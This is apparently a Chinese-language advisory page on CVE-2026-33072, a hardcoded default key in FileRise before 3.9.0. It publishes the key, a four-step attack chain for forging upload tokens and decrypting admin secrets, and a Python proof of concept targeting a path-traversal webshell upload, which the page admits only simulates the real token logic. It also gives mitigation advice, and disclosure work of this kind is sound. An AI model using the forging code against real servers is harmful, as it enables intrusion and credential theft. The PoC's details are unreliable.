IPBUF安全漏洞报告
English
CVE-2026-33072 CVSS 8.2 高危

CVE-2026-33072 FileRise硬编码密钥漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-33072
漏洞类型
硬编码密钥漏洞
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FileRise

相关标签

硬编码密钥文件上传信息泄露FileRise

漏洞概述

FileRise是一款自托管Web文件管理器。在3.9.0版本之前,该系统在所有加密操作(包括HMAC令牌生成、AES配置加密和会话令牌)中使用了硬编码的默认加密密钥。这一严重的安全缺陷允许未经身份验证的攻击者伪造上传令牌,从而向共享文件夹上传任意文件。此外,攻击者还可以解密管理员配置机密,包括OIDC客户端密钥和SMTP密码。该漏洞源于系统使用了单一的PERSISTENT_TOKENS_KEY,且默认值硬编码在两处位置,除非部署者明确覆盖环境变量,否则将一直使用该默认值。

技术细节

该漏洞的核心原因在于FileRise应用程序使用了一个名为PERSISTENT_TOKENS_KEY的单一路由密钥来处理所有的加密操作。在代码实现中,该密钥的默认值被硬编码为字符串`default_please_change_this_key`。除非部署者在环境变量中显式覆盖此值,否则系统将始终使用该默认密钥。由于此密钥是公开已知的,攻击者无需任何认证即可利用它。首先,攻击者利用该密钥计算有效的HMAC签名,伪造合法的上传令牌,绕过文件上传限制,向共享文件夹写入任意文件(如WebShell)。其次,由于管理员配置(如OIDC客户端密钥和SMTP密码)使用AES加密,且密钥已知,攻击者可以拦截配置数据或直接访问存储,使用默认密钥解密敏感信息,从而完全接管服务器或进行横向移动。这种设计缺陷将加密体系的安全性完全依赖于一个未更改的默认值,破坏了系统的完整性和机密性。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别出目标系统运行的是FileRise文件管理器,且版本低于3.9.0。
STEP 2
步骤2:密钥获取
攻击者利用公开的漏洞信息,获取硬编码的默认加密密钥'default_please_change_this_key'。
STEP 3
步骤3:令牌伪造与文件上传
攻击者使用该密钥计算HMAC签名,伪造合法的上传令牌,向共享文件夹上传任意恶意文件。
STEP 4
步骤4:敏感信息解密
攻击者利用相同的密钥解密存储的配置文件,获取OIDC客户端密钥和SMTP密码等高权限凭据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import hmac import hashlib # The hardcoded default encryption key found in vulnerable versions DEFAULT_KEY = b'default_please_change_this_key' def forge_upload_token(file_data): """Forges an upload token using the hardcoded key.""" # Simulating the token generation logic used by FileRise # The actual implementation details may vary based on the specific hashing algorithm used (e.g., SHA256) message = file_data.encode('utf-8') # Generate HMAC signature signature = hmac.new(DEFAULT_KEY, message, hashlib.sha256).hexdigest() return { "file": file_data, "token": signature } if __name__ == "__main__": # Example usage: forging a token for a malicious file target_file = "../../malicious_shell.php" forged_token = forge_upload_token(target_file) print(f"[+] Forged Request Payload:") print(f"File: {forged_token['file']}") print(f"Token: {forged_token['token']}") print("[+] Send this payload to the upload endpoint to exploit the vulnerability.")

影响范围

FileRise < 3.9.0

防御指南

临时缓解措施
对于无法立即升级的用户,请务必在生产环境中显式设置`PERSISTENT_TOKENS_KEY`环境变量,将其更改为一个足够长且随机的强密钥,以替代硬编码的默认值,从而阻断攻击者伪造令牌和解密配置的能力。建议同时检查服务器日志,确认是否已遭受利用,并轮换所有泄露的OIDC和SMTP凭据。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表